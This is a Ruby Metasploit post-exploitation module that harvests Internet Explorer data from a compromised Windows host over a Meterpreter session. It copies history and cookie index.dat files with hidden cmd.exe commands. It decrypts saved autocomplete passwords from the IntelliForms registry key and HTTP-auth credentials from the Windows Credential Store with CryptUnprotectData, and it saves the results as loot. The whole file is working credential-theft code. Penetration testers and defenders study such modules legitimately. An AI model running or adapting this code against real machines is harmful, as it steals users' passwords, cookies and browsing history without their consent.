##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Internet Explorer User Data Enumeration',
        'Description' => %q{
          This module will collect history, cookies, and credentials (from either HTTP
          auth passwords, or saved form passwords found in auto-complete) in
          Internet Explorer. The ability to gather credentials is only supported
          for versions of IE >=7, while history and cookies can be extracted for all
          versions.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Author' => ['Kx499'],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_fs_stat
              stdapi_railgun_api
              stdapi_sys_config_getenv
              stdapi_sys_config_sysinfo
              stdapi_sys_process_attach
              stdapi_sys_process_execute
              stdapi_sys_process_get_processes
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_read
              stdapi_sys_process_memory_write
            ]
          }
        }
      )
    )
  end

  #
  # RAILGUN HELPER FUNCTIONS
  #
  def is_86
    pid = session.sys.process.open.pid
    return session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
  end

  def pack_add(data)
    if is_86
      addr = [data].pack('V')
    else
      addr = [data].pack('Q<')
    end
    return addr
  end

  def mem_write(data, length)
    pid = session.sys.process.open.pid
    process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
    mem = process.memory.allocate(length)
    process.memory.write(mem, data)
    return mem
  end

  def read_str(address, len, type)
    begin
      pid = session.sys.process.open.pid
      process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
      raw = process.memory.read(address, len)
      if type == 0 # unicode
        str_data = raw.gsub("\x00", '')
      elsif type == 1 # null terminated
        str_data = raw.unpack('Z*')[0]
      elsif type == 2 # raw data
        str_data = raw
      end
    rescue StandardError
      str_data = nil
    end
    return str_data || 'Error Decrypting'
  end

  #
  # DECRYPT FUNCTIONS
  #
  def decrypt_reg(entropy, data)
    c32 = session.railgun.crypt32
    # set up entropy
    salt = []
    entropy.each_byte do |c|
      salt << c
    end
    ent = salt.pack('v*')

    # save values to memory and pack addresses
    mem = mem_write(data, 1024)
    mem2 = mem_write(ent, 1024)
    addr = pack_add(mem)
    len = pack_add(data.length)
    eaddr = pack_add(mem2)
    elen = pack_add((entropy.length + 1) * 2)

    # cal railgun to decrypt
    if is_86
      ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 8)
      len, add = ret['pDataOut'].unpack('V2')
    else
      ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 16)
      len, add = ret['pDataOut'].unpack('Q2')
    end

    return '' unless ret['return']

    return read_str(add, len, 2)
  end

  def decrypt_cred(daddr, dlen)
    c32 = session.railgun.crypt32
    # set up entropy
    guid = 'abe2869f-9b47-4cd9-a358-c22904dba7f7'
    ent_sz = 74
    salt = []
    guid.each_byte do |c|
      salt << c * 4
    end
    ent = salt.pack('v*')

    # write entropy to memory and pack addresses
    mem = mem_write(ent, 1024)
    addr = pack_add(daddr)
    len = pack_add(dlen)
    eaddr = pack_add(mem)
    elen = pack_add(ent_sz)

    # prep vars and call function
    if is_86
      ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)
      len, add = ret['pDataOut'].unpack('V2')
    else
      ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)
      len, add = ret['pDataOut'].unpack('Q<2')
    end

    # get data, and return it
    return '' unless ret['return']

    return read_str(add, len, 0)
  end

  #
  # Extract IE Data Functions
  #
  def get_stuff(path, history)
    t = DateTime.new(1601, 1, 1, 0, 0, 0)
    tmpout = ''
    if history
      re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x56\x69\x73\x69\x74\x65\x64\x3A.*?\x40(.*?)\x00/m
    else # get cookies
      re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x43\x6F\x6F\x6B\x69\x65\x3A(.*?)\x00/m
    end

    outfile = session.fs.file.new(path, 'rb')
    until outfile.eof?
      begin
        tmpout << outfile.read
      rescue StandardError
        nil
      end
    end
    outfile.close

    urls = tmpout.scan(re)
    urls.each do |url|
      # date modified
      hist = {}
      origh = url[0].unpack('H*')[0]
      harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
      newh = harr.reverse.join
      hfloat = newh.hex.to_f
      sec = hfloat / 10000000
      days = sec / 86400
      timestamp = t + days
      hist['dtmod'] = timestamp.to_s

      # date accessed
      origh = url[1].unpack('H*')[0]
      harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
      newh = harr.reverse.join
      hfloat = newh.hex.to_f
      sec = hfloat / 10000000
      days = sec / 86400
      timestamp = t + days
      hist['dtacc'] = timestamp.to_s
      hist['url'] = url[2]
      if history
        @hist_col << hist
        @hist_table << [hist['dtmod'], hist['dtacc'], hist['url']]
      else
        @cook_table << [hist['dtmod'], hist['dtacc'], hist['url']]
      end
    end
  end

  def hash_url(url)
    rg_advapi = session.railgun.advapi32
    tail = 0
    prov = 'Microsoft Enhanced Cryptographic Provider v1.0'
    flag = 0xF0000000
    context = rg_advapi.CryptAcquireContextW(4, nil, prov, 1, 0xF0000000)
    h = rg_advapi.CryptCreateHash(context['phProv'], 32772, 0, 0, 4)
    hdata = rg_advapi.CryptHashData(h['phHash'], url, (url.length + 1) * 2, 0)
    hparam = rg_advapi.CryptGetHashParam(h['phHash'], 2, 20, 20, 0)
    hval_arr = hparam['pbData'].unpack('C*')
    hval = hparam['pbData'].unpack('H*')[0]
    rg_advapi.CryptDestroyHash(h['phHash'])
    rg_advapi.CryptReleaseContext(context['phProv'], 0)
    tail = hval_arr.inject(0) { |s, v| s += v }
    htail = ('%02x' % tail)[-2, 2]
    return "#{hval}#{htail}"
  end

  def run
    # check for meterpreter and version of ie
    if (session.type != 'meterpreter') && session.platform !~ (/win/)
      print_error('This module only works with Windows Meterpreter sessions')
      return 0
    end

    # get version of ie and check it
    ver = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Internet Explorer', 'Version')
    print_status("IE Version: #{ver}")
    if ver =~ /(6\.|5\.)/
      print_error('This module will only extract credentials for >= IE7')
    end

    # setup tables
    @hist_table = Rex::Text::Table.new(
      'Header' => 'History data',
      'Indent' => 1,
      'Columns' => ['Date Modified', 'Date Accessed', 'Url']
    )

    @cook_table = Rex::Text::Table.new(
      'Header' => 'Cookies data',
      'Indent' => 1,
      'Columns' => ['Date Modified', 'Date Accessed', 'Url']
    )

    cred_table = Rex::Text::Table.new(
      'Header' => 'Credential data',
      'Indent' => 1,
      'Columns' => ['Type', 'Url', 'User', 'Pass']
    )

    # set up vars
    host = session.sys.config.sysinfo
    @hist_col = []

    # set paths
    regpath = 'HKCU\\Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2'
    vist_h = '\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat'
    vist_hlow = '\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat'
    xp_h = '\\Local Settings\\History\\History.IE5\\index.dat'
    vist_c = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat'
    vist_clow = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat'
    xp_c = '\\Cookies\\index.dat'
    h_paths = []
    c_paths = []
    base = session.sys.config.getenv('USERPROFILE')
    if host['OS'] =~ /(Windows 7|2008|Vista)/
      h_paths << base + vist_h
      h_paths << base + vist_hlow
      c_paths << base + vist_c
      c_paths << base + vist_clow
    else
      h_paths << base + xp_h
      c_paths << base + xp_c
    end

    # Get history and cookies
    print_status('Retrieving history.....')
    h_paths.each do |hpath|
      next unless session.fs.file.exist?(hpath)

      print_line("\tFile: #{hpath}")
      # copy file
      cmd = "cmd.exe /c type \"#{hpath}\" > \"#{base}\\index.dat\""
      r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })

      # loop until cmd is done
      # while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
      # end
      sleep(1)

      # get stuff and delete
      get_stuff("#{base}\\index.dat", true)
      cmd = "cmd.exe /c del \"#{base}\\index.dat\""
      session.sys.process.execute(cmd, nil, { 'Hidden' => true })
    end

    print_status('Retrieving cookies.....')
    c_paths.each do |cpath|
      next unless session.fs.file.exist?(cpath)

      print_line("\tFile: #{cpath}")
      # copy file
      cmd = "cmd.exe /c type \"#{cpath}\" > \"#{base}\\index.dat\""
      r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })

      # loop until cmd is done
      # while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
      # end
      sleep(1)

      # get stuff and delete
      get_stuff("#{base}\\index.dat", false)
      cmd = "cmd.exe /c del \"#{base}\\index.dat\""
      session.sys.process.execute(cmd, nil, { 'Hidden' => true })
    end

    # get autocomplete creds
    print_status('Looping through history to find autocomplete data....')
    val_arr = registry_enumvals(regpath)
    if val_arr
      @hist_col.each do |hitem|
        url = hitem['url'].split('?')[0].downcase
        hash = hash_url(url).upcase
        next unless val_arr.include?(hash)

        data = registry_getvaldata(regpath, hash)
        dec = decrypt_reg(url, data)

        # If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up
        # returning an array of nils. If this happens, we can cause an "undefined method
        # `+' for NilClass." when we try to calculate the offset, and this causes the module to die.
        next if dec.empty?

        # decode data and add to creds array
        header = dec.unpack('VVVVVV')

        offset = header[0] + header[1] # offset to start of data
        cnt = header[5] / 2 # of username/password combinations
        secrets = dec[offset, dec.length - (offset + 1)].split("\x00\x00")
        for i in (0..cnt).step(2)
          cred = {}
          cred['type'] = 'Auto Complete'
          cred['url'] = url
          cred['user'] = secrets[i].gsub("\x00", '')
          cred['pass'] = secrets[i + 1].gsub("\x00", '') unless secrets[i + 1].nil?
          cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
        end
      end
    else
      print_error('No autocomplete entries found in registry')
    end

    # get creds from credential store
    print_status('Looking in the Credential Store for HTTP Authentication Creds...')
    # get data from credential store
    ret = session.railgun.advapi32.CredEnumerateA(nil, 0, 4, 4)
    p_to_arr = ret['Credentials'].unpack('V')
    arr_len = ret['Count'] * 4 if is_86
    arr_len = ret['Count'] * 8 unless is_86

    # read array of addresses as pointers to each structure
    raw = read_str(p_to_arr[0], arr_len, 2)
    pcred_array = raw.unpack('V*') if is_86
    pcred_array = raw.unpack('Q<*') unless is_86

    # loop through the addresses and read each credential structure
    pcred_array.each do |pcred|
      raw = read_str(pcred, 52, 2)
      cred_struct = raw.unpack('VVVVQ<VVVVVVV') if is_86
      cred_struct = raw.unpack('VVQ<Q<Q<Q<Q<VVQ<Q<Q<') unless is_86

      location = read_str(cred_struct[2], 512, 1)
      next unless location.include? 'Microsoft_WinInet'

      decrypted = decrypt_cred(cred_struct[6], cred_struct[5])
      cred = {}
      cred['type'] = 'Credential Store'
      cred['url'] = location.gsub('Microsoft_WinInet_', '')
      cred['user'] = decrypted.split(':')[0] || 'No Data'
      cred['pass'] = decrypted.split(':')[1] || 'No Data'
      cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
    end

    # store data in loot
    if !@hist_table.rows.empty?
      print_status('Writing history to loot...')
      path = store_loot(
        'ie.history',
        'text/plain',
        session,
        @hist_table,
        'ie_history.txt',
        'Internet Explorer Browsing History'
      )
      print_good("Data saved in: #{path}")
    end

    if !@cook_table.rows.empty?
      print_status('Writing cookies to loot...')
      path = store_loot(
        'ie.cookies',
        'text/plain',
        session,
        @cook_table,
        'ie_cookies.txt',
        'Internet Explorer Cookies'
      )
      print_good("Data saved in: #{path}")
    end

    if !cred_table.rows.empty?
      print_status('Writing gathered credentials to loot...')
      path = store_loot(
        'ie.user.creds',
        'text/plain',
        session,
        cred_table,
        'ie_creds.txt',
        'Internet Explorer User Credentials'
      )

      print_good("Data saved in: #{path}")
      # print creds
      print_line('')
      print_line(cred_table.to_s)
    end
  end
end
